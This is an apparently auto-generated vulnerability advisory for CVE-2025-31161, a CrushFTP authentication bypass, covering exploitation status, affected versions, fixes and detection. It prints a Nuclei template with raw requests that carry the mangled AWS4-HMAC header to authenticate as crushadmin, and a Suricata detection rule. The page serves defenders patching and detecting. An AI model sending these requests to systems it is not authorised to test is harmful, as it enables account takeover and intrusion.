VULNpocalypse

CVE-2025-31161: CrushFTP Authentication Bypass Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unless a DMZ proxy instance is used), as exploited in the wild in March and April 2025, aka “Unauthenticated HTTP(S) port access.” A race condition exists in the AWS4-HMAC (compatible with S3) authorization method of the HTTP component of the FTP server. The server first verifies the existence of the user by performing a call to login_user_pass() with no password requirement. This will authenticate the session through the HMAC verification process and up until the server checks for user verification once more. The vulnerability can be further stabilized, eliminating the need for successfully triggering a race condition, by sending a mangled AWS4-HMAC header. By providing only the username and a following slash (/), the server will successfully find a username, which triggers the successful anypass authentication process, but the server will fail to find the expected SignedHeaders entry, resulting in an index-out-of-bounds error that stops the code from reaching the session cleanup. Together, these issues make it trivial to authenticate as any known or guessable user (e.g., crushadmin), and can lead to a full compromise of the system by obtaining an administrative account.

Description quoted from the CVE record (assigned by mitre, published 2025-04-03).

Weakness: CWE-305 Authentication Bypass by Primary Weakness

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2025-04-07
US federal deadline
2025-04-28
Ransomware use
Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-03886, CNNVD-202504-693, EDB-52295, EUVD-2025-8227, EUVD-2025-9910, GHSA-c57h-rx24-vf52

VEDAS cluster: VEDAS:BEAUTIFULBASS

Exploit Observer links 38 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (38)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (9)

Catalogue entries, not exploit evidence.

31 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
1.000
very likely to be attacked soon
VEDAS
0.986
strong exploit evidence
On CISA KEV
Yes, since 2025-04-07
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2025-31161 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2025-31161 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
CrushFTP CrushFTPfrom 10 before 10.8.4
from 11 before 11.3.1		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: converge_technology_solutions crushftp, crushftp crushftp.

How to fix it

Fixed versions stated in the CVE record: 10.8.4, 11.3.1.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

CrushFTP - Authentication Bypass

CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unless a DMZ proxy instance is used), as exploited in the wild in March and April 2025, aka “Unauthenticated HTTP(S) port access.” A race condition exists in the AWS4-HMAC (compatible with S3) authorization method of the HTTP component of the FTP server. The server first verifies the existence of the user by performing a call to login_user_pass() with no password requirement.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c..., GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c...); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-31161.yaml
Show the template (58 lines)
yaml
id: CVE-2025-31161

info:
  name: "CrushFTP - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin
    account (unless a DMZ proxy instance is used), as exploited in the wild in March and April 2025, aka
    "Unauthenticated HTTP(S) port access." A race condition exists in the AWS4-HMAC (compatible with S3)
    authorization method of the HTTP component of the FTP server. The server first verifies the existence of the
    user by performing a call to login_user_pass() with no password requirement.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-31161&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=crushftp&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-31161
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2025,crushftp,unauth,auth-bypass,rce,kev,vkev,vuln
variables:
  string_1: "{{rand_text_numeric(13)}}"
  string_2: "{{rand_text_alpha(28)}}"
  string_3: "{{rand_text_numeric(4)}}"

http:
  - raw:
      - |
        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
        Host: {{Hostname}}
        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

      - |
        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
        Host: {{Hostname}}
        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<user_list_subitem>crushadmin</user_list_subitem>"

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200

CVE-2025-31161.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-31161 CrushFTP - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-31161 CrushFTP - Authentication Bypass"; flow:established,to_server; http.uri; content:"/WebInterface/function/"; nocase; fast_pattern; content:"serverGroup="; nocase; content:"command="; nocase; classtype:web-application-attack; reference:cve,CVE-2025-31161; reference:url,https://www.exploit.observer/?keyword=CVE-2025-31161&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=crushftp&match=exact; sid:1009060; rev:1;)

CVE-2025-31161.rules on GitHub

Advisories on this CVE

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.